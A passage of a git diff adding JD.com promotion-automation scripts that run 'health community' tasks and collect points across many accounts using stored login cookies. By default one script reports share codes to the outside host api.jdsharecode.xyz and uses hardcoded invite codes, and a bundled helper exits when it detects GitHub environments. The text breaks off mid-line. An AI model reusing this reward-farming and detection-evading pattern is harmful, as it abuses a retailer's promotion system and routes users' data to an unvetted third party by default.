`T0225KkcRh9P9FbRKUygl_UJcgCjVfnoaW5kRrbA@T0159KUiH11Mq1bSKBoCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, + `T0225KkcRh9P9FbRKUygl_UJcgCjVfnoaW5kRrbA@T0159KUiH11Mq1bSKBoCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, + `T0225KkcRh9P9FbRKUygl_UJcgCjVfnoaW5kRrbA@T0159KUiH11Mq1bSKBoCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, +] +const ZLC = !(process.env.JD_JOIN_ZLC && process.env.JD_JOIN_ZLC === 'false') +let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : '' +const randomCount = $.isNode() ? 20 : 5; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +function nc(val1, val2) {//nullish coalescing + return val1 != undefined ? val1 : val2 +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/"; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!process.env.JD_JOIN_ZLC) { + console.log(`【注意】本脚本默认会给助力池进行助力!\n如需加入助力池请添加TG群:https://t.me/jd_zero_205\n如不加入助力池互助,可添加变量名称:JD_JOIN_ZLC,变量值:false\n`) + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await shareCodesFormat() + await main() + await showMsg() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function main() { + try { + if (reward) { + await getCommodities() + } + + $.score = 0 + $.earn = false + await getTaskDetail(-1) + await getTaskDetail(16) + await getTaskDetail(6) + for(let i = 0 ; i < 5; ++i){ + $.canDo = false + await getTaskDetail() + if(!$.canDo) break + await $.wait(1000) + } + await collectScore() + await helpFriends() + await getTaskDetail(22); + await getTaskDetail(-1) + + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + let res = await doTask(code, 6) + if([108,-1001].includes(oc(() => res.data.bizCode))){ + console.log(`助力次数已满,跳出`) + break + } + await $.wait(1000) + } +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${$.earn}健康值,累计${$.score}健康值\n` + $.msg($.name, '', `京东账号${$.index} ${$.UserName}\n${message}`); + resolve(); + }) +} + +function getTaskDetail(taskId = '') { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', {"buildingId": "", taskId: taskId === -1 ? '' : taskId, "channelId": 1}), + async (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (taskId === -1) { + let tmp = parseInt(parseFloat(nc(oc(() => data.data.result.userScore) , '0'))) + if (!$.earn) { + $.score = tmp + $.earn = 1 + } else { + $.earn = tmp - $.score + $.score = tmp + } + } else if (taskId === 6) { + if (oc(() => data.data.result.taskVos)) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + // console.log('好友助力码:' + oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)) + // *************************** + // 报告运行次数 + if (ZLC) { + if (oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)) { + $.code = data.data.result.taskVos[0].assistTaskDetailVo.taskToken + for (let k = 0; k < 5; k++) { + try { + await runTimes() + break + } catch (e) { + } + await $.wait(Math.floor(Math.random() * 10 + 3) * 1000) + } + } + } + // *************************** + + } + } else if (taskId === 22) { + console.log(`${oc(() => data.data.result.taskVos[0].taskName)}任务,完成次数:${oc(() => data.data.result.taskVos[0].times)}/${oc(() => data.data.result.taskVos[0].maxTimes)}`) + if (oc(() => data.data.result.taskVos[0].times) === oc(() => data.data.result.taskVos[0].maxTimes)) return + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 1)//领取任务 + await $.wait(1000 * (oc(() => data.data.result.taskVos[0].waitDuration) || 3)); + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 0);//完成任务 + } else { + for (let vo of nc(oc(() => data.data.result.taskVos.filter(vo => ![19,25,15,21].includes(vo.taskType))) , [])) { + console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) + for (let i = vo.times; i < vo.maxTimes; i++) { + console.log(`去完成${vo.taskName}任务`) + if (vo.taskType === 13) { + await doTask(oc(() => vo.simpleRecordInfoVo.taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 8) { + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 1) + await $.wait(1000 * 10) + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 0) + } else if (vo.taskType === 9) { + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 1) + await $.wait(1000 * 10) + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 0) + } else if (vo.taskType === 10) { + await doTask(oc(() => vo.threeMealInfoVos[0].taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 26 || vo.taskType === 3) { + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 1) { + for (let key of Object.keys(vo.followShopVo)) { + let taskFollow = vo.followShopVo[key] + if (taskFollow.status !== 2) { + await doTask(taskFollow.taskToken, vo.taskId, 0) + break + } + } + } + await $.wait(2000) + } + } + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} +function runTimes() { + return new Promise((resolve, reject) => { + $.get({ + url: `https://api.jdsharecode.xyz/api/runTimes?activityId=health&sharecode=${$.code}` + }, (err, resp, data) => { + if (err) { + console.log('上报失败', err) + reject(err) + } else { + console.log(data) + resolve() + } + }) + }) +} +async function getCommodities() { + return new Promise(async resolve => { + const options = taskUrl('jdhealth_getCommodities') + $.post(options, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + let beans = data.data.result.jBeans.filter(x => x.status !== 0 && x.status !== 1) + if (beans.length !== 0) { + for (let key of Object.keys(beans)) { + let vo = beans[key] + if (vo.title === reward && $.score >= vo.exchangePoints) { + await $.wait(1000) + await exchange(vo.type, vo.id) + } + } + } else { + console.log(`兑换京豆次数已达上限`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} +function exchange(commodityType, commodityId) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_exchange', {commodityType, commodityId}) + $.post(options, (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (data.data.bizCode === 0 || data.data.bizMsg === "success") { + $.score = data.data.result.userScore + console.log(`兑换${data.data.result.jingBeanNum}京豆成功`) + message += `兑换${data.data.result.jingBeanNum}京豆成功\n` + if ($.isNode()) { + allMessage += `【京东账号${$.index}】 ${$.UserName}\n兑换${data.data.result.jingBeanNum}京豆成功🎉${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + +function doTask(taskToken, taskId, actionType = 0) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) + $.get(options, + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) { + $.canDo = true + if (oc(() => data.data.result.score)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + +function collectScore() { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_collectProduceScore', {}), + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (oc(() => data.data.bizCode) === 0) { + if (oc(() => data.data.result.produceScore)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.produceScore) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'accept-language': 'zh-cn', + 'accept-encoding': 'gzip, deflate, br', + 'accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://api.jdsharecode.xyz/api/health/${randomCount}`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} health/read API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + if (!ZLC) { + console.log(`您设置了不加入助力池,跳过\n`) + } else { + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDHEALTH_SHARECODES) { + if (process.env.JDHEALTH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDHEALTH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDHEALTH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health_collect.js b/jd_health_collect.js new file mode 100644 index 0000000..89f3b87 --- /dev/null +++ b/jd_health_collect.js @@ -0,0 +1,137 @@ +// author: 疯疯 +/* +东东健康社区收集能量收集能量(不做任务,任务脚本请使用jd_health.js) +更新时间:2021-4-23 +活动入口:京东APP首页搜索 "玩一玩"即可 + +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区收集能量 +5-45/20 * * * * jd_health_collect.js, tag=东东健康社区收集能量, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "5-45/20 * * * *" script-path=jd_health_collect.js, tag=东东健康社区收集能量 + +====================Surge================ +东东健康社区收集能量 = type=cron,cronexp="5-45/20 * * * *",wake-system=1,timeout=3600,script-path=jd_health_collect.js + +============小火箭========= +东东健康社区收集能量 = type=cron,script-path=jd_health_collect.js, cronexpr="5-45/20 * * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区收集能量收集"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], + cookie = "", + message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + { "open-url": "https://bean.m.jd.com/" } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await collectScore(); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +function collectScore() { + return new Promise((resolve) => { + $.get(taskUrl("jdhealth_collectProduceScore", {}), (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data); + if (data?.data?.bizCode === 0) { + if (data?.data?.result?.produceScore) + console.log( + `任务完成成功,获得:${ + data?.data?.result?.produceScore ?? "未知" + }能量` + ); + else + console.log( + `任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}` + ); + } else { + console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`); + } + } + } catch (e) { + console.log(e); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&client=wh5&clientVersion=1.0.0`, + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : require("./USER_AGENTS").USER_AGENT + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }; +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 